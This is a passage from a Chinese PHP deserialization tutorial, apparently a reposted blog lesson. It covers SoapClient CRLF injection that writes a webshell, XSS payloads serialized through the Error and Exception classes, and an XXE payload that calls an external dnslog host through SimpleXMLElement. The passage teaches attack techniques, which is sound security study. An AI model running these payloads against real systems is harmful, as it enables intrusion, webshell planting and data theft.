1)">string</span>)strlen($post_string).<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">^^^^</span><span style="color: rgba(128, 0, 0, 1)">'</span>.$post_string,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">uri</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">xxx</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa</span>=<span style="color: rgba(0, 0, 0, 1)"> serialize($b);
$aaa</span>= str_replace(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">^^</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">%0d%0a</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,$aaa);
$aaa</span>= str_replace(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">&amp;</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">%26</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,$aaa);
echo $aaa;

$x</span>=<span style="color: rgba(0, 0, 0, 1)"> unserialize(urldecode($aaa));<br>//调用__call方法触发网络请求发送
$x</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">no_func();
</span>?&gt;</span></pre>
</div>
<p>直接访问exp.php就可以成功把payload写入到shell.php文件。</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201017154116118-1340486465.png" alt="" width="908" height="167" loading="lazy"></p>
<h2>原生类利用之Error/Exception</h2>
<h3><span style="background-color: rgba(255, 255, 255, 1)">Error(php7)/Exception(php5,php7)</span></h3>
<p><span style="background-color: rgba(255, 255, 153, 1)">Error</span>类就是php的一个内置类用于自动自定义一个Error,在<span style="background-color: rgba(255, 255, 153, 1)">php7</span>的环境下可能会造成一个xss漏洞,因为它内置有一个__toString()魔术方法。</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">Exception</span>类跟Error类原理一样,但是适用于<span style="background-color: rgba(255, 255, 153, 1)">PHP7,PHP5。</span></p>
<h3>测试demo</h3>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    $a </span>= unserialize($_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">]);
    echo $a;
</span>?&gt;</span></pre>
</div>
<p>调用<span style="background-color: rgba(255, 255, 153, 1)">Error</span>类生成xss序列化payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    $a </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> Error(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;script&gt;alert(1)&lt;/script&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
    echo urlencode(serialize($a));
    #注意版本是PHP7
</span>?&gt;</span></pre>
</div>
<p>得到编码后的序列化结果:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">O%3A5%3A%22Error%<span style="color: rgba(128, 0, 128, 1)">22</span>%3A7%3A%7Bs%3A10%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%2A%00message%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A25%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Cscript%3Ealert%<span style="color: rgba(128, 0, 128, 1)">281</span>%<span style="color: rgba(128, 0, 128, 1)">29</span>%3C%2Fscript%3E%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A13%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%00Error%00<span style="color: rgba(0, 0, 255, 1)">string</span>%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A0%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A7%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%2A%00code%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bi%3A0%3Bs%3A7%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%2A%00file%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A15%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%2Fbox%2Fscript.php%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A7%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%2A%00line%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bi%3A2%3Bs%3A12%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%00Error%00trace%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Ba%3A0%3A%7B%7Ds%3A15%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%00Error%00previous%<span style="color: rgba(128, 0, 128, 1)">22</span>%3BN%3B%7D</span></pre>
</div>
<p>传入上述序列化参数</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201017161740359-2038351816.png" alt="" width="635" height="380" loading="lazy"></p>
<p>调用<span style="background-color: rgba(255, 255, 153, 1)">Exception</span>类生成xss序列化payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
  $a </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> Exception(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;script&gt;alert(1)&lt;/script&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
  echo urlencode(serialize($a));<br>?&gt;</span></span></pre>
</div>
<p>得到编码后的序列化结果:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">O%3A9%3A%22Exception%<span style="color: rgba(128, 0, 128, 1)">22</span>%3A7%3A%7Bs%3A10%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%2A%00message%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A25%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Cscript%3Ealert%<span style="color: rgba(128, 0, 128, 1)">281</span>%<span style="color: rgba(128, 0, 128, 1)">29</span>%3C%2Fscript%3E%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A17%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%00Exception%00<span style="color: rgba(0, 0, 255, 1)">string</span>%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A0%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A7%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%2A%00code%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bi%3A0%3Bs%3A7%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%2A%00file%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A15%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%2Fbox%2Fscript.php%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A7%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%2A%00line%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bi%3A2%3Bs%3A16%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%00Exception%00trace%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Ba%3A0%3A%7B%7Ds%3A19%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%00Exception%00previous%<span style="color: rgba(128, 0, 128, 1)">22</span>%3BN%3B%7D</span></pre>
</div>
<p>传入上述序列化参数</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201017161657869-1719446004.png" alt="" width="674" height="361" loading="lazy"></p>
<h2>原生类利用之SimpleXMLElement</h2>
<p>利用实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行。</p>
<blockquote>
<p>SimpleXMLElement :(PHP 5, PHP 7)</p>
<p>功能 :用来表示XML文档中的元素,为PHP的内置类。</p>
</blockquote>
<p>直接传入一个包含恶意payload的XML代码即可。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$xml </span>= &lt;&lt;&lt;<span style="color: rgba(0, 0, 0, 1)">EOF
</span>&lt;?xml version=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">1.0</span><span style="color: rgba(128, 0, 0, 1)">"</span> encoding=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">utf-8</span><span style="color: rgba(128, 0, 0, 1)">"</span> ?&gt;
&lt;!<span style="color: rgba(0, 0, 0, 1)">DOCTYPE ANY [
    </span>&lt;!ENTITY % remote SYSTEM <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">http://bmjoker.haaf9g.dnslog.cn</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;%remote;]&gt;<span style="color: rgba(0, 0, 0, 1)">
]</span>&gt;
&lt;x&gt;&amp;xee&lt;/x&gt;<span style="color: rgba(0, 0, 0, 1)">
EOF;
$xml_class </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
</span>?&gt;</span></pre>
</div>
<p>访问php文件,即可造成xxe攻击</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201017163759726-1907723773.png" alt="" width="581" height="177" loading="lazy"></p>
<h1>参考链接</h1>
<p>《原理+实践掌握(PHP反序列化和Session反序列化)》</p>
<p>《php反序列化利用——POP链构造实例》</p>
<p>《PHP session 常见利用点》</p>
<p>《PHP反序列化入门之session反序列化》</p>
<p>《最全的PHP反序列化漏洞的理解和应用》</p>
<p>《利用session.upload_progress进行文件包含和反序列化渗透》</p>
<p>《PHP反序列化漏洞入门》</p>
<p>《PHP序列化反序列化漏洞总结》</p>
<p>《利用phar伪协议构造php反序列化漏洞》</p>
<p>《Phar与Stream Wrapper造成PHP RCE的深入挖掘》</p>
<p>《php反序列化总结》</p>
<p>《安洵杯2019 官方Writeup(Web/Misc) - D0g3》</p>
<p>《Bytectf2019-ezcms》</p>
<p>《SoapClient反序列化SSRF》</p>
<p>《PHP反序列化进阶学习与总结》</p>
<p>《php反序列化由浅到深》</p><br><br>
来源:https://www.cnblogs.com/bmjoker/p/13742666.html
頁: [1]
查看完整版本: 3. php反序列化从入门到放弃(入门篇)